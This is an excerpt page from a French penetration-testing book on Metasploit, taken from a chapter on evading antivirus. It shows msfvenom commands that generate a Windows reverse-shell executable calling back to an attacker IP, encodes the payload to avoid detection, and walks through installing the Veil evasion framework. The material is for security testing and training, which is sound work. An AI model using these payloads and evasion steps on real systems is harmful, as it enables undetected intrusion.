Blog ENI : Toute la veille numérique !
Accès illimité 24h/24 à tous nos livres & vidéos ! 
Découvrez la Bibliothèque Numérique ENI. Cliquez ici
Accès illimité 24h/24 à tous nos livres & vidéos ! 
Découvrez la Bibliothèque Numérique ENI. Cliquez ici
  1. Livres et vidéos
  2. Metasploit
  3. Le contournement des antivirus
Extrait - Metasploit Testez la sécurité de vos infrastructures (2e edition)
Extraits du livre
Metasploit Testez la sécurité de vos infrastructures (2e edition)
3 avis
Revenir à la page d'achat du livre

Le contournement des antivirus

Introduction

La meilleure défense étant bien souvent l’attaque, les équipes de défense font évoluer leurs techniques en prenant en compte celles des attaquants.

C’est pourquoi les payloads générés par le framework Metasploit sont de plus en plus connus et donc de plus en plus détectables par les antivirus ou bien par les IDS/IPS.

Prenons le cas d’un simple payload généré par MSFvenom :

root@kali:/tmp# msfvenom -a x86 --platform windows -p 
windows/shell/reverse_tcp LHOST=192.168.171.152 LPORT=3434  -f exe -o 
/tmp/malicious.exe  
No encoder or badchars specified, outputting raw payload  
Payload size: 341 bytes  
Final size of exe file: 73802 bytes  
Saved as: /tmp/malicious.exe 

L’analyse de ce simple payload ne contenant aucun moyen de camouflage peut être réalisée par le site VirusTotal (https://www.virustotal.com) :

images/14EP01.png

VirusTotal est un service gratuit qui analyse les fichiers et URL suspects et facilite la détection rapide des virus, vers, trojans et tous types de malwares.

Au sein du VirusTotal, 51 antivirus sur 71 intègrent ce payload au sein de leurs bases antivirales, pouvant ainsi mettre la tentative de compromission de la cible en échec. Néanmoins, MSFvenom intègre des fonctionnalités permettant de tenter de déjouer les protections antivirales.

Metasploit

1. Encodage

Comme précisé au chapitre Les attaques côté client, MSFvenom est le fruit de MSFpayload et de MSFencode. Les encoders permettent de modifier le payload afin qu’il ne soit pas aussi simplement identifiable par les solutions de sécurité.

La liste des encoders est disponible grâce à la commande msfvenom --list encoders :

root@kali:/tmp# msfvenom --list encoders  
 
Framework Encoders [--encoder <value>]  
======================================  
 
   Name                          Rank  
   ----                          ----  
   cmd/brace                     low  
   cmd/echo                      good  
   cmd/generic_sh                manual  
   cmd/ifs                       low  
   cmd/perl                      normal  
   cmd/powershell_base64         excellent  
   cmd/printf_php_mq             manual  
   generic/eicar                 manual  
   generic/none                  normal  
   mipsbe/byte_xori              normal  
   mipsbe/longxor                normal 

Dès lors, il est possible d’encoder les payloads en utilisant l’option --encoder (ou -e) suivie de l’encoder souhaité ainsi que l’option --iterations (-i) permettant de spécifier le nombre d’encodages du payload :

root@kali:/tmp# msfvenom -a x86 --platform windows -p 
windows/shell/reverse_tcp LHOST=192.168.171.152 LPORT=3434 -e 
x86/shikata_ga_nai -i 5 -f exe -o /tmp/malicious2.exe  
Found 1 compatible encoders  
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai 
x86/shikata_ga_nai succeeded with...

Android

S’il est reconnu que les logiciels malveillants se montrent beaucoup plus présents sur les ordinateurs, cela ne signifie pas que les smartphones ne sont pas attaqués. Ainsi, depuis plusieurs années, de nombreux éditeurs d’antivirus sortent les versions mobiles de ces derniers.

Ces versions mobiles sont obligatoirement différentes des versions pour ordinateurs. En effet, les contraintes, notamment celles de la batterie sont à prendre en considération. En effet, aucun utilisateur n’accepterait une autonomie d’une heure pour une meilleure sécurité. Ce « manque » de fonctionnalité de la part des antivirus leur permettant de respecter les contraintes entraîne que la grande majorité de ces derniers réalise uniquement une analyse par signature.

De nombreuses études mettent en avant le fait que plusieurs méthodes existent permettant de réduire de nombre de détection par les antivirus. Les méthodes les plus simples à mettre en place sont notamment l’obfuscation de code (chaîne de caractères, nom des variables, nom des paquets, class, méthode, etc.)

images/2EP13-01.png

Dans le cadre d’une charge générée via MSFVenom, la modification des chaînes de caractères MSF, Metasploit ou encore exploit fait chuter drastiquement la détection des payloads...

Veil

Bien qu’il soit possible de contourner certains antivirus grâce aux techniques d’encodage de MSFvenom, certains d’entre eux se laissent difficilement berner. C’est là où le chiffrement apporte de nouvelles opportunités.

Néanmoins, MSFvenom est surtout un outil permettant de créer des charges utiles, ses techniques de contournement antiviral ne sont pas les plus évoluées qui soient.

Le framework Veil (anciennement Veil Evasion) quant à lui est un outil conçu pour générer des charges utiles Metasploit qui contournent les solutions antivirales courantes.

images/14EP06.png

1. Installation de Veil

Par défaut, Veil n’est pas installé sous Kali. Néanmoins, son installation est relativement simple grâce au système de gestion de paquets apt :

root@kali:~# apt -y install veil  
root@kali:~# git clone https://github.com/Veil-Framework/Veil  
root@kali:~# cd Veil/ 
root@kali:~/Veil# ./config/setup.sh --force --silent  
 
[*] Initializing package installation  
[*] Pulling down binary dependencies  
[*] Empty folder... git cloning  
[*] Installing Wine  
[*] Adding i386 architecture to x86_64 system for Wine  
[*] Updating APT  
[*] Installing Wine 32-bit and 64-bit binaries (via APT)  
[*] Creating new Veil Wine environment in: /var/lib/veil/wine  
[*] Initializing Veil's Wine environment...  
[*] Veil Wine environment successfully created!  
 
[I] Done! 

Une fois installé, il est possible de lancer Veil de la manière suivante :

root@kali:~/Veil# ./Veil.py  
==================================================================  
                   Veil | [Version]: 3.1.12 
==================================================================  
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework  
==================================================================  
 
Main Menu  
 
   2 tools loaded  
 
Available Tools:  
 
   1)    Evasion  
   2)    Ordnance  
 
Available Commands:  
 
   exit            Completely exit Veil  
   info            Information...